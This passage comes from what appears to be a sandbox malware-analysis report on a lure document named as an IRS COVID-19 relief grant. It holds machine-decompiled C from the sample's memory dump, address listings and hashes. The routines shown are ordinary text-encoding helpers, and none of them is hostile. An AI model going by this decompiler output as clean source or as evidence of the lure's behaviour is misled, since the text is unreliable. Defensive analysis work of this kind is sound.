				intOrPtr _v92;
				signed int _v96;
				unsigned int _v100;
				signed int _t159;
				unsigned int _t160;
				signed int _t162;
				unsigned int _t163;
				signed int _t180;
				signed int _t192;
				signed int _t193;
				unsigned int _t194;
				signed char _t196;
				signed int _t197;
				signed char _t198;
				signed char _t199;
				unsigned int _t200;
				unsigned int _t202;
				unsigned int _t204;
				unsigned int _t205;
				unsigned int _t209;
				signed int _t210;
				signed int _t211;
				unsigned int _t212;
				signed char _t213;
				signed short* _t214;
				intOrPtr _t215;
				signed int _t216;
				signed int _t217;
				unsigned int _t218;
				signed int _t220;
				signed int _t221;
				signed short _t223;
				signed char _t224;
				signed int _t229;
				signed int _t231;
				unsigned int _t233;
				unsigned int _t237;
				signed int _t238;
				unsigned int _t239;
				signed int _t240;
				signed int _t254;
				signed int _t255;
				signed int _t256;
				signed int _t257;
				unsigned int _t258;
				void* _t261;

				_t213 = _a8;
				_t159 = 0;
				_v60 = 0;
				_t237 = _t213 >> 1;
				_t210 = 0;
				_t257 = 0;
				_v56 = 0;
				_v52 = 0;
				_v44 = 0;
				_v48 = 0;
				_v92 = 0;
				_v88 = 0;
				_v76 = 0;
				_v72 = 0;
				_v64 = 0;
				_v68 = 0;
				_v24 = 0;
				_v80 = 0;
				_v84 = 0;
				_v28 = 0;
				_v32 = 0;
				_v20 = 0;
				_v12 = 0;
				_v16 = 0;
				_v100 = _t237;
				if(_t237 > 0x100) {
					_t254 = 0x100;
					_v36 = 0x100;
					L2:
					_t261 = _t213 - 2;
					if(_t261 == 0) {
						_t214 = _a4;
						_t160 =  *_t214 & 0x0000ffff;
						__eflags = _t160;
						if(_t160 == 0) {
							L108:
							_t159 = 0;
							L8:
							_t238 = 0;
							_v96 = 0;
							if(_t254 == 0) {
								L30:
								_v24 = _t159 - 1;
								goto L31;
							} else {
								goto L11;
								L13:
								_t224 = _t223 >> 8;
								_v40 = _t224;
								_t256 = _t224 & 0x000000ff;
								_t196 = _a4[_t238];
								_v5 = _t196;
								_t197 = _t196 & 0x000000ff;
								if(_t197 == 0xd) {
									__eflags = _t257 - 0xa;
									if(_t257 == 0xa) {
										_v12 = _v12 + 1;
									}
								} else {
									if(_t197 == 0xa) {
										__eflags = _t257 - 0xd;
										if(_t257 == 0xd) {
											_v12 = _v12 + 1;
										}
									}
								}
								_v24 = (0 | _t256 == 0x00000000) + _v24 + (0 | _t197 == 0x00000000);
								if(_t256 > _t257) {
									_t229 = _t256;
								} else {
									_t229 = _t257;
								}
								if(_t257 >= _t256) {
									_t257 = _t256;
								}
								_v28 = _v28 + _t229 - _t257;
								_t231 = _t197;
								if(_t197 <= _t210) {
									_t231 = _t210;
								}
								if(_t210 >= _t197) {
									_t210 = _t197;
								}
								_v32 = _v32 + _t231 - _t210;
								_t238 = _v96 + 1;
								_t210 = _t197;
								_t257 = _t256;
								_v96 = _t238;
								if(_t238 < _v36) {
									_t214 = _a4;
									L11:
									_t223 = _t214[_t238] & 0x0000ffff;
									_t193 = _t223 & 0x0000ffff;
									if(_t193 >= 0x900 || _t193 < 0x21) {
										goto L58;
									} else {
										goto L13;
									}
								}
								_t198 = _v5;
								if(_t198 == 0xd) {
									_t199 = _v40;
									__eflags = _t199 - 0xa;
									if(_t199 != 0xa) {
										L27:
										_t233 = _v12;
										L28:
										if(_t199 != 0) {
											__eflags = _t199 - 0x1a;
											if(_t199 == 0x1a) {
												_v12 = _t233 + 1;
											}
											L31:
											_t162 = _a8;
											if(_t162 > 0x200) {
												_t255 = 0x200;
											} else {
												_t255 = _t162;
											}
											_t215 =  *0x1e356d59; // 0x0
											if(_t215 != 0) {
												_t239 = 0;
												__eflags = _t255;
												if(_t255 == 0) {
													goto L34;
												} else {
													goto L119;
												}
												do {
													L119:
													_t192 =  *(_a4 + _t239) & 0x000000ff;
													__eflags =  *((short*)(0x1e356920 + _t192 * 2));
													_t163 = _v20;
													if( *((short*)(0x1e356920 + _t192 * 2)) != 0) {
														_t163 = _t163 + 1;
														_t239 = _t239 + 1;
														__eflags = _t239;
														_v20 = _t163;
													}
													_t239 = _t239 + 1;
													__eflags = _t239 - _t255;
												} while (_t239 < _t255);
												goto L35;
											} else {
												L34:
												_t163 = 0;
												L35:
												_t240 = _v32;
												_t211 = _v28;
												if(_t240 < 0x7f) {
													__eflags = _t211;
													if(_t211 != 0) {
														L37:
														if(_t240 == 0) {
															_v16 = 0x10;
														}
														L38:
														_t258 = _a12;
														if(_t215 != 0) {
															__eflags = _t163;
															if(_t163 == 0) {
																goto L39;
															}
															__eflags = _t258;
															if(_t258 == 0) {
																goto L39;
															}
															__eflags =  *_t258 & 0x00000400;
															if(( *_t258 & 0x00000400) == 0) {
																goto L39;
															}
															_t218 = _v100;
															__eflags = _t218 - 0x100;
															if(_t218 > 0x100) {
																_t218 = 0x100;
															}
															_t220 = (_t218 >> 1) - 1;
															__eflags = _v20 - 0xaaaaaaab * _t220 >> 0x20 >> 1;
															if(_v20 >= 0xaaaaaaab * _t220 >> 0x20 >> 1) {
																_t221 = _t220 + _t220;
																__eflags = _v20 - 0xaaaaaaab * _t221 >> 0x20 >> 1;
																asm("sbb ecx, ecx");
																_t216 =  ~_t221 + 1;
																__eflags = _t216;
															} else {
																_t216 = 3;
															}
															_v16 = _v16 | 0x00000400;
															_t240 = _v32;
															L40:
															if(_t211 * _t216 < _t240) {
																_v16 = _v16 | 0x00000002;
															}
															_t217 = _v16;
															if(_t240 * _t216 < _t211) {
																_t217 = _t217 | 0x00000020;
															}
															if(_v44 + _v48 + _v52 + _v56 + _v60 != 0) {
																_t217 = _t217 | 0x00000004;
															}
															if(_v64 + _v68 + _v72 + _v76 != 0) {
																_t217 = _t217 | 0x00000040;
															}
															if(_v80 + _v84 + _v88 + _v92 == 0) {
																_t212 = _v12;
																__eflags = _t212;
																if(_t212 == 0) {
																	goto L48;
																}
																__eflags = _t212 - 0xcccccccd * _t255 >> 0x20 >> 5;
																if(_t212 >= 0xcccccccd * _t255 >> 0x20 >> 5) {
																	goto L47;
																}
																goto L48;
															} else {
																L47:
																_t217 = _t217 | 0x00000100;
																L48:
																if((_a8 & 0x00000001) != 0) {
																	_t217 = _t217 | 0x00000200;
																}
																if(_v24 != 0) {
																	_t217 = _t217 | 0x00001000;
																}
																_t180 =  *_a4 & 0x0000ffff;
																if(_t180 != 0xfeff) {
																	__eflags = _t180 - 0xfffe;
																	if(_t180 == 0xfffe) {
																		_t217 = _t217 | 0x00000080;
																	}
																} else {
																	_t217 = _t217 | 0x00000008;
																}
																if(_t258 != 0) {
																	 *_t258 =  *_t258 & _t217;
																	_t217 =  *_t258;
																}
																if((_t217 & 0x00000b08) != 8) {
																	__eflags = _t217 & 0x000000f0;
																	if((_t217 & 0x000000f0) != 0) {
																		L84:
																		return 0;
																	}
																	__eflags = _t217 & 0x00000f00;
																	if((_t217 & 0x00000f00) == 0) {
																		__eflags = _t217 & 0x0000f00f;
																		if((_t217 & 0x0000f00f) == 0) {
																			goto L84;
																		}
																		goto L56;
																	}
																	goto L84;
																} else {
																	L56:
																	return 1;
																}
															}
														}
														L39:
														_t216 = 3;
														goto L40;
													}
													_v16 = 1;
													goto L38;
												}
												if(_t211 == 0) {
													goto L38;
												}
												goto L37;
											}
										} else {
											_t159 = _v24;
											goto L30;
										}
									}
									L104:
									_t233 = _v12 + 1;
									_v12 = _t233;
									goto L28;
								}
								_t199 = _v40;
								if(_t198 != 0xa || _t199 != 0xd) {
									goto L27;
								} else {
									goto L104;
								}
								L58:
								__eflags = _t193 - 0x3001;
								if(_t193 < 0x3001) {
									L60:
									__eflags = _t193 - 0xd00;
									if(__eflags > 0) {
										__eflags = _t193 - 0x3000;
										if(__eflags > 0) {
											_t194 = _t193 - 0xfeff;
											__eflags = _t194;
											if(_t194 != 0) {
												_t200 = _t194 - 0xff;
												__eflags = _t200;
												if(_t200 == 0) {
													_v88 = _v88 + 1;
												} else {
													__eflags = _t200 == 1;
													if(_t200 == 1) {
														_v92 = _v92 + 1;
													}
												}
											}
										} else {
											if(__eflags == 0) {
												_v48 = _v48 + 1;
											} else {
												_t202 = _t193 - 0x2000;
												__eflags = _t202;
												if(_t202 == 0) {
													_v68 = _v68 + 1;
												}
											}
										}
										goto L13;
									}
									if(__eflags == 0) {
										_v76 = _v76 + 1;
										goto L13;
									}
									__eflags = _t193 - 0x20;
									if(__eflags > 0) {
										_t204 = _t193 - 0x900;
										__eflags = _t204;
										if(_t204 == 0) {
											_v64 = _v64 + 1;
										} else {
											_t205 = _t204 - 0x100;
											__eflags = _t205;
											if(_t205 == 0) {
												_v72 = _v72 + 1;
											} else {
												__eflags = _t205 == 0xd;
												if(_t205 == 0xd) {
													_v84 = _v84 + 1;
												}
											}
										}
										goto L13;
									}
									if(__eflags == 0) {
										_v44 = _v44 + 1;
										goto L13;
									}
									__eflags = _t193 - 0xd;
									if(_t193 > 0xd) {
										goto L13;
									}
									_t84 = _t193 + 0x1e261174; // 0x4040400
									switch( *((intOrPtr*)(( *_t84 & 0x000000ff) * 4 +  &M1E261160))) {
										case 0:
											_v80 = _v80 + 1;
											goto L13;
										case 1:
											_v52 = _v52 + 1;
											goto L13;
										case 2:
											_v56 = _v56 + 1;
											goto L13;
										case 3:
											_v60 = _v60 + 1;
											goto L13;
										case 4:
											goto L13;
									}
								}
								__eflags = _t193 - 0xfeff;
								if(_t193 < 0xfeff) {
									goto L13;
								}
								goto L60;
							}
						}
						__eflags = _t160 >> 8;
						if(_t160 >> 8 == 0) {
							L101:
							_t209 = _a12;
							__eflags = _t209;
							if(_t209 != 0) {
								 *_t209 = 5;
							}
							goto L84;
						}
						goto L108;
					}
					if(_t261 <= 0 || _t237 > 0x100) {
						_t214 = _a4;
					} else {
						_t214 = _a4;
						if((_t213 & 0x00000001) == 0 && ( *(_t214 + _t254 * 2 - 2) & 0x0000ff00) == 0) {
							_t254 = _t254 - 1;
							_v36 = _t254;
						}
					}
					goto L8;
				}
				_t254 = _t237;
				_v36 = _t254;
				if(_t254 == 0) {
					goto L101;
				}
				goto L2;
			}

0x1e260d2b
0x1e260d2e
0x1e260d32
0x1e260d39
0x1e260d3b
0x1e260d3d
0x1e260d3f
0x1e260d46
0x1e260d4d
0x1e260d54
0x1e260d5b
0x1e260d62
0x1e260d69
0x1e260d70
0x1e260d77
0x1e260d7e
0x1e260d85
0x1e260d88
0x1e260d8b
0x1e260d8e
0x1e260d91
0x1e260d94
0x1e260d97
0x1e260d9a
0x1e260d9d
0x1e260da6
0x1e2610e9
0x1e2610ee
0x1e260db9
0x1e260db9
0x1e260dbc
0x1e2be9c7
0x1e2be9ca
0x1e2be9cd
0x1e2be9d0
0x1e2be9dd
0x1e2be9dd
0x1e260dec
0x1e260dec
0x1e260dee
0x1e260df3
0x1e260ebf
0x1e260ec0
0x00000000
0x1e260df9
0x1e260df9
0x1e260e1e
0x1e260e21
0x1e260e24
0x1e260e27
0x1e260e2a
0x1e260e2d
0x1e260e30
0x1e260e36
0x1e261040
0x1e261043
0x1e261049
0x1e261049
0x1e260e3c
0x1e260e3f
0x1e261007
0x1e26100a
0x1e261010
0x1e261010
0x1e26100a
0x1e260e3f
0x1e260e58
0x1e260e5d
0x1e261000
0x1e260e63
0x1e260e63
0x1e260e63
0x1e260e67
0x1e260e69
0x1e260e69
0x1e260e6d
0x1e260e70
0x1e260e74
0x1e260e76
0x1e260e76
0x1e260e7a
0x1e260e7c
0x1e260e7c
0x1e260e83
0x1e260e86
0x1e260e87
0x1e260e89
0x1e260e8b
0x1e260e91
0x1e260e00
0x1e260e03
0x1e260e03
0x1e260e07
0x1e260e0f
0x00000000
0x00000000
0x00000000
0x00000000
0x1e260e0f
0x1e260e97
0x1e260e9c
0x1e26113e
0x1e261141
0x1e261143
0x1e260eb1
0x1e260eb1
0x1e260eb4
0x1e260eb6
0x1e261110
0x1e261112
0x1e2bea25
0x1e2bea25
0x1e260ec3
0x1e260ec3
0x1e260ecb
0x1e2610fe
0x1e260ed1
0x1e260ed1
0x1e260ed1
0x1e260ed3
0x1e260edb
0x1e2bea2d
0x1e2bea2f
0x1e2bea31
0x00000000
0x00000000
0x00000000
0x00000000
0x1e2bea37
0x1e2bea37
0x1e2bea3a
0x1e2bea3e
0x1e2bea47
0x1e2bea4a
0x1e2bea4c
0x1e2bea4d
0x1e2bea4d
0x1e2bea4e
0x1e2bea4e
0x1e2bea51
0x1e2bea52
0x1e2bea52
0x00000000
0x1e260ee1
0x1e260ee1
0x1e260ee1
0x1e260ee3
0x1e260ee3
0x1e260ee6
0x1e260eec
0x1e2bea5b
0x1e2bea5d
0x1e260ef6
0x1e260ef8
0x1e2bea6f
0x1e2bea6f
0x1e260efe
0x1e260efe
0x1e260f03
0x1e2bea7b
0x1e2bea7d
0x00000000
0x00000000
0x1e2bea83
0x1e2bea85
0x00000000
0x00000000
0x1e2bea8b
0x1e2bea91
0x00000000
0x00000000
0x1e2bea97
0x1e2bea9a
0x1e2beaa0
0x1e2beaa2
0x1e2beaa2
0x1e2beaae
0x1e2beab3
0x1e2beab6
0x1e2beabf
0x1e2beaca
0x1e2beacd
0x1e2bead1
0x1e2bead1
0x1e2beab8
0x1e2beab8
0x1e2beab8
0x1e2bead2
0x1e2bead9
0x1e260f0e
0x1e260f15
0x1e260f17
0x1e260f17
0x1e260f1e
0x1e260f23
0x1e2beae1
0x1e2beae1
0x1e260f38
0x1e260f3a
0x1e260f3a
0x1e260f49
0x1e261108
0x1e261108
0x1e260f5b
0x1e2610c7
0x1e2610ca
0x1e2610cc
0x00000000
0x00000000
0x1e2610dc
0x1e2610de
0x00000000
0x00000000
0x00000000
0x1e260f61
0x1e260f61
0x1e260f61
0x1e260f67
0x1e260f6b
0x1e26111d
0x1e26111d
0x1e260f75
0x1e260f77
0x1e260f77
0x1e260f85
0x1e260f8b
0x1e2610b9
0x1e2610bc
0x1e2beae9
0x1e2beae9
0x1e260f91
0x1e260f91
0x1e260f91
0x1e260f96
0x1e260f98
0x1e260f9a
0x1e260f9a
0x1e260fa6
0x1e26107c
0x1e26107f
0x1e26108d
0x00000000
0x1e26108d
0x1e261081
0x1e261087
0x1e2beaf4
0x1e2beafa
0x00000000
0x00000000
0x00000000
0x1e2beb00
0x00000000
0x1e260fac
0x1e260fac
0x00000000
0x1e260fac
0x1e260fa6
0x1e260f5b
0x1e260f09
0x1e260f09
0x00000000
0x1e260f09
0x1e2bea63
0x00000000
0x1e2bea63
0x1e260ef4
0x00000000
0x00000000
0x00000000
0x1e260ef4
0x1e260ebc
0x1e260ebc
0x00000000
0x1e260ebc
0x1e260eb6
0x1e261149
0x1e26114c
0x1e26114d
0x00000000
0x1e26114d
0x1e260ea4
0x1e260ea7
0x00000000
0x00000000
0x00000000
0x00000000
0x1e260fb7
0x1e260fb7
0x1e260fbc
0x1e260fc9
0x1e260fc9
0x1e260fce
0x1e261020
0x1e261025
0x1e261094
0x1e261094
0x1e261099
0x1e2bea04
0x1e2bea04
0x1e2bea09
0x1e2bea1c
0x1e2bea0b
0x1e2bea0b
0x1e2bea0e
0x1e2bea14
0x1e2bea14
0x1e2bea0e
0x1e2bea09
0x1e261027
0x1e261027
0x1e261155
0x1e26102d
0x1e26102d
0x1e26102d
0x1e261032
0x1e2be9fc
0x1e2be9fc
0x1e261032
0x1e261027
0x00000000
0x1e261025
0x1e260fd0
0x1e2be9f4
0x00000000
0x1e2be9f4
0x1e260fd6
0x1e260fd9
0x1e261059
0x1e261059
0x1e26105e
0x1e2be9ec
0x1e261064
0x1e261064
0x1e261064
0x1e261069
0x1e2610ac
0x1e26106b
0x1e26106b
0x1e26106e
0x1e261074
0x1e261074
0x1e26106e
0x1e261069
0x00000000
0x1e26105e
0x1e260fdb
0x1e2610a4
0x00000000
0x1e2610a4
0x1e260fe1
0x1e260fe4
0x00000000
0x00000000
0x1e260fea
0x1e260ff1
0x00000000
0x1e260ff8
0x00000000
0x00000000
0x1e2be9e4
0x00000000
0x00000000
0x1e261018
0x00000000
0x00000000
0x1e261051
0x00000000
0x00000000
0x00000000
0x00000000
0x1e260ff1
0x1e260fbe
0x1e260fc3
0x00000000
0x00000000
0x00000000
0x1e260fc3
0x1e260df3
0x1e2be9d5
0x1e2be9d7
0x1e261128
0x1e261128
0x1e26112b
0x1e26112d
0x1e261133
0x1e261133
0x00000000
0x1e26112d
0x00000000
0x1e2be9d7
0x1e260dc2
0x1e2610f6
0x1e260dd4
0x1e260dd7
0x1e260dda
0x1e260de8
0x1e260de9
0x1e260de9
0x1e260dda
0x00000000
0x1e260dc2
0x1e260dac
0x1e260dae
0x1e260db3
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 143b1f597ed985fec55eb026de6a04bf428d418bf360fcf14f05c70e0ccc9111
Instruction ID: 5ac600ee163de4cf2b04f86a61c2511675b887c98ff05202587ca4264ed04768
Opcode Fuzzy Hash: 143b1f597ed985fec55eb026de6a04bf428d418bf360fcf14f05c70e0ccc9111
Instruction Fuzzy Hash: 0CD18031E1425A8BDF288E99C5B0BADBBF6EB48300F304369DC46A7685D7789DC1DB40

Uniqueness

Uniqueness Score: -1.00%

Function 1E29EBB0, Relevance: .2, Instructions: 250
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 100%

			E1E29EBB0(signed int* _a4, intOrPtr _a8, intOrPtr* _a12, signed short* _a16, unsigned int _a20) {
				signed short* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				unsigned int _v20;
				intOrPtr _t42;
				unsigned int _t43;
				unsigned int _t50;
				signed char _t56;
				signed char _t60;
				signed int _t63;
				signed int _t73;
				signed int _t77;
				signed int _t80;
				unsigned int _t82;
				signed int _t87;
				signed int _t91;
				signed short _t96;
				signed short* _t98;
				signed char _t100;
				signed int* _t102;
				signed short* _t105;
				intOrPtr _t106;
				signed int _t108;
				signed int* _t110;
				void* _t113;
				signed int _t115;
				signed short* _t117;
				signed int _t118;

				_t98 = _a16;
				_t87 = 0;
				_v16 = 0;
				if(_t98 == 0) {
					return 0xc00000f2;
				}
				_t110 = _a4;
				if(_t110 == 0) {
					if(_a12 == 0) {
						_t42 = 0xc000000d;
					} else {
						_t42 = E1E29ED1A(_t98, _a20, _a12);
					}
					L19:
					return _t42;
				}
				_t43 = _a20;
				if((_t43 & 0x00000001) != 0) {
					_t42 = 0xc00000f3;
					goto L19;
				} else {
					_t102 = _t110;
					_t105 =  &(_t98[_t43 >> 1]);
					_v8 = _t105;
					_v12 = _a8 + _t110;
					L4:
					while(1) {
						L4:
						while(1) {
							L4:
							if(_t98 >= _t105) {
								if(_t87 == 0) {
									L17:
									_t106 = _v16;
									L18:
									_t42 = _t106;
									 *_a12 = _t102 - _a4;
									goto L19;
								}
								L8:
								_t13 = _t87 - 0xd800; // -55295
								if(_t13 <= 0x7ff) {
									_v16 = 0x107;
									_t87 = 0xfffd;
								}
								_t113 = 1;
								if(_t87 > 0x7f) {
									if(_t87 > 0x7ff) {
										if(_t87 > 0xffff) {
											_t113 = 2;
										}
										_t113 = _t113 + 1;
									}
									_t113 = _t113 + 1;
								}
								if(_t102 > _v12 - _t113) {
									_t106 = 0xc0000023;
									goto L18;
								} else {
									if(_t87 > 0x7f) {
										_t50 = _t87;
										if(_t87 > 0x7ff) {
											if(_t87 > 0xffff) {
												 *_t102 = _t50 >> 0x00000012 | 0x000000f0;
												_t102 =  &(_t102[0]);
												_t56 = _t87 >> 0x0000000c & 0x0000003f | 0x00000080;
											} else {
												_t56 = _t50 >> 0x0000000c | 0x000000e0;
											}
											 *_t102 = _t56;
											_t102 =  &(_t102[0]);
											_t60 = _t87 >> 0x00000006 & 0x0000003f | 0x00000080;
										} else {
											_t60 = _t50 >> 0x00000006 | 0x000000c0;
										}
										 *_t102 = _t60;
										_t102 =  &(_t102[0]);
										_t87 = _t87 & 0x0000003f | 0x00000080;
									}
									 *_t102 = _t87;
									_t102 =  &(_t102[0]);
									_t63 = _t105 - _t98 >> 1;
									_t115 = _v12 - _t102;
									if(_t63 > 0xd) {
										if(_t115 < _t63) {
											_t63 = _t115;
										}
										_t22 = _t63 - 5; // -5
										_t117 =  &(_t98[_t22]);
										if(_t98 < _t117) {
											do {
												_t91 =  *_t98 & 0x0000ffff;
												_t100 =  &(_t98[1]);
												if(_t91 > 0x7f) {
													L58:
													if(_t91 > 0x7ff) {
														_t38 = _t91 - 0xd800; // -55296
														if(_t38 <= 0x7ff) {
															if(_t91 > 0xdbff) {
																_t98 = _t100 - 2;
																break;
															}
															_t108 =  *_t100 & 0x0000ffff;
															_t98 = _t100 + 2;
															_t39 = _t108 - 0xdc00; // -54273
															if(_t39 > 0x3ff) {
																_t98 = _t98 - 4;
																break;
															}
															_t91 = (_t91 << 0xa) + 0xfca02400 + _t108;
															 *_t102 = _t91 >> 0x00000012 | 0x000000f0;
															_t102 =  &(_t102[0]);
															_t73 = _t91 & 0x0003f000 | 0x00080000;
															L65:
															_t117 = _t117 - 2;
															 *_t102 = _t73 >> 0xc;
															_t102 =  &(_t102[0]);
															_t77 = _t91 & 0x00000fc0 | 0x00002000;
															L66:
															 *_t102 = _t77 >> 6;
															_t117 = _t117 - 2;
															_t102[0] = _t91 & 0x0000003f | 0x00000080;
															_t102 =  &(_t102[0]);
															goto L30;
														}
														_t73 = _t91 | 0x000e0000;
														goto L65;
													}
													_t77 = _t91 | 0x00003000;
													goto L66;
												}
												 *_t102 = _t91;
												_t102 =  &(_t102[0]);
												if((_t100 & 0x00000002) != 0) {
													_t91 =  *_t100 & 0x0000ffff;
													_t100 = _t100 + 2;
													if(_t91 > 0x7f) {
														goto L58;
													}
													 *_t102 = _t91;
													_t102 =  &(_t102[0]);
												}
												if(_t100 >= _t117) {
													break;
												} else {
													goto L28;
												}
												while(1) {
													L28:
													_t80 =  *(_t100 + 4);
													_t96 =  *_t100;
													_v20 = _t80;
													if(((_t80 | _t96) & 0xff80ff80) != 0) {
														break;
													}
													_t82 = _v20;
													_t100 = _t100 + 8;
													 *_t102 = _t96;
													_t102[0] = _t82;
													_t102[0] = _t96 >> 0x10;
													_t102[0] = _t82 >> 0x10;
													_t102 =  &(_t102[1]);
													if(_t100 < _t117) {
														continue;
													}
													goto L30;
												}
												_t91 = _t96 & 0x0000ffff;
												_t100 = _t100 + 2;
												if(_t91 > 0x7f) {
													goto L58;
												}
												 *_t102 = _t91;
												_t102 =  &(_t102[0]);
												L30:
											} while (_t98 < _t117);
											_t105 = _v8;
										}
										goto L32;
									} else {
										if(_t115 < _t63) {
											L32:
											_t87 = 0;
											continue;
										}
										while(_t98 < _t105) {
											_t87 =  *_t98 & 0x0000ffff;
											_t98 =  &(_t98[1]);
											if(_t87 > 0x7f) {
												L7:
												_t12 = _t87 - 0xd800; // -55290
												if(_t12 <= 0x3ff) {
													goto L4;
												}
												goto L8;
											}
											 *_t102 = _t87;
											_t102 =  &(_t102[0]);
										}
										goto L17;
									}
								}
							}
							_t118 =  *_t98 & 0x0000ffff;
							if(_t87 != 0) {
								_t36 = _t118 - 0xdc00; // -56314
								if(_t36 <= 0x3ff) {
									_t87 = (_t87 << 0xa) + 0xfca02400 + _t118;
									_t98 =  &(_t98[1]);
								}
								goto L8;
							}
							_t87 = _t118;
							_t98 =  &(_t98[1]);
							goto L7;
						}
					}
				}
			}

0x1e29ebb8
0x1e29ebbf
0x1e29ebc1
0x1e29ebc6
0x00000000
0x1e2db6d6
0x1e29ebcd
0x1e29ebd2
0x1e29ec95
0x1e2db6e0
0x1e29ec9b
0x1e29eca1
0x1e29eca1
0x1e29ec89
0x00000000
0x1e29ec89
0x1e29ebd8
0x1e29ebdd
0x1e2db6ea
0x00000000
0x1e29ebe3
0x1e29ebe5
0x1e29ebe7
0x1e29ebef
0x1e29ebf2
0x00000000
0x1e29ebf5
0x00000000
0x1e29ebf5
0x1e29ebf5
0x1e29ebf7
0x1e2db6f6
0x1e29ec7c
0x1e29ec7c
0x1e29ec7f
0x1e29ec82
0x1e29ec87
0x00000000
0x1e29ec87
0x1e29ec1a
0x1e29ec1a
0x1e29ec25
0x1e2db725
0x1e2db72c
0x1e2db72c
0x1e29ec2d
0x1e29ec31
0x1e2db73c
0x1e2db744
0x1e2db748
0x1e2db748
0x1e2db749
0x1e2db749
0x1e2db74a
0x1e2db74a
0x1e29ec3e
0x1e2db860
0x00000000
0x1e29ec44
0x1e29ec47
0x1e2db750
0x1e2db758
0x1e2db767
0x1e2db775
0x1e2db77c
0x1e2db77f
0x1e2db769
0x1e2db76c
0x1e2db76c
0x1e2db781
0x1e2db788
0x1e2db78b
0x1e2db75a
0x1e2db75d
0x1e2db75d
0x1e2db78d
0x1e2db792
0x1e2db793
0x1e2db793
0x1e29ec54
0x1e29ec56
0x1e29ec57
0x1e29ec59
0x1e29ec5e
0x1e29ecaa
0x1e29ed16
0x1e29ed16
0x1e29ecac
0x1e29ecaf
0x1e29ecb4
0x1e29ecb6
0x1e29ecb6
0x1e29ecb9
0x1e29ecbf
0x1e2db7c1
0x1e2db7c8
0x1e2db7d3
0x1e2db7db
0x1e2db7ec
0x1e2db858
0x00000000
0x1e2db858
0x1e2db7ee
0x1e2db7f1
0x1e2db7f4
0x1e2db7ff
0x1e2db850
0x00000000
0x1e2db850
0x1e2db80a
0x1e2db813
0x1e2db81c
0x1e2db81d
0x1e2db822
0x1e2db825
0x1e2db828
0x1e2db831
0x1e2db832
0x1e2db837
0x1e2db840
0x1e2db842
0x1e2db845
0x1e2db848
0x00000000
0x1e2db848
0x1e2db7df
0x00000000
0x1e2db7df
0x1e2db7cc
0x00000000
0x1e2db7cc
0x1e29ecc5
0x1e29ecc7
0x1e29eccb
0x1e2db79b
0x1e2db79e
0x1e2db7a4
0x00000000
0x00000000
0x1e2db7a6
0x1e2db7a8
0x1e2db7a8
0x1e29ecd3
0x00000000
0x00000000
0x00000000
0x00000000
0x1e29ecd5
0x1e29ecd5
0x1e29ecd5
0x1e29ecd8
0x1e29ecda
0x1e29ece4
0x00000000
0x00000000
0x1e29ecea
0x1e29eced
0x1e29ecf0
0x1e29ecf2
0x1e29ecfb
0x1e29ecfe
0x1e29ed01
0x1e29ed06
0x00000000
0x00000000
0x00000000
0x1e29ed06
0x1e2db7ae
0x1e2db7b1
0x1e2db7b7
0x00000000
0x00000000
0x1e2db7b9
0x1e2db7bb
0x1e29ed08
0x1e29ed08
0x1e29ed0c
0x1e29ed0c
0x00000000
0x1e29ec60
0x1e29ec62
0x1e29ed0f
0x1e29ed0f
0x00000000
0x1e29ed0f
0x1e29ec68
0x1e29ec6c
0x1e29ec6f
0x1e29ec75
0x1e29ec0d
0x1e29ec0d
0x1e29ec18
0x00000000
0x00000000
0x00000000
0x1e29ec18
0x1e29ec77
0x1e29ec79
0x1e29ec79
0x00000000
0x1e29ec68
0x1e29ec5e
0x1e29ec3e
0x1e29ebfd
0x1e29ec02
0x1e2db701
0x1e2db70c
0x1e2db71b
0x1e2db71d
0x1e2db71d
0x00000000
0x1e2db70c
0x1e29ec08
0x1e29ec0a
0x00000000
0x1e29ec0a
0x1e29ebf5
0x1e29ebf5

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fa993315481d34d861e67938bc03e7c42d4ca2921a7b7b75938bf6aa423f69f
Instruction ID: 771c6e3530f51e2c5c5478fd4ff7d256ad7aad490166dd963b5c4f1e3040ecb3
Opcode Fuzzy Hash: 9fa993315481d34d861e67938bc03e7c42d4ca2921a7b7b75938bf6aa423f69f
Instruction Fuzzy Hash: CB813B32A143A78BEB114E69C8F125DBB95FF52210F34577AEA82CB341C225EC49E391

Uniqueness

Uniqueness Score: -1.00%

Function 1E28AB40, Relevance: .2, Instructions: 240
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E1E28AB40(intOrPtr __ecx, intOrPtr* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				signed short _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				intOrPtr* _v28;
				intOrPtr _t69;
				intOrPtr* _t70;
				intOrPtr _t71;
				intOrPtr _t73;
				void* _t74;
				signed int _t77;
				signed int _t79;
				signed int _t82;
				signed int _t88;
				unsigned int _t97;
				unsigned int _t99;
				unsigned int _t105;
				unsigned int _t107;
				intOrPtr* _t111;
				unsigned int _t118;
				void* _t123;
				intOrPtr _t127;
				signed int _t128;
				void* _t131;
				signed char _t136;
				signed char _t141;
				signed char _t146;
				signed int _t151;
				signed int _t153;
				unsigned int _t155;
				intOrPtr _t158;
				void* _t164;
				signed short _t167;
				void* _t171;
				void* _t173;
				intOrPtr* _t175;
				intOrPtr* _t178;
				signed short _t180;
				signed short _t182;

				_t149 = __ecx;
				_t111 =  *((intOrPtr*)(__edx + 0x18));
				_v24 = __edx;
				_t69 =  *((intOrPtr*)(_t111 + 4));
				_t158 = _a12;
				_v8 = __ecx;
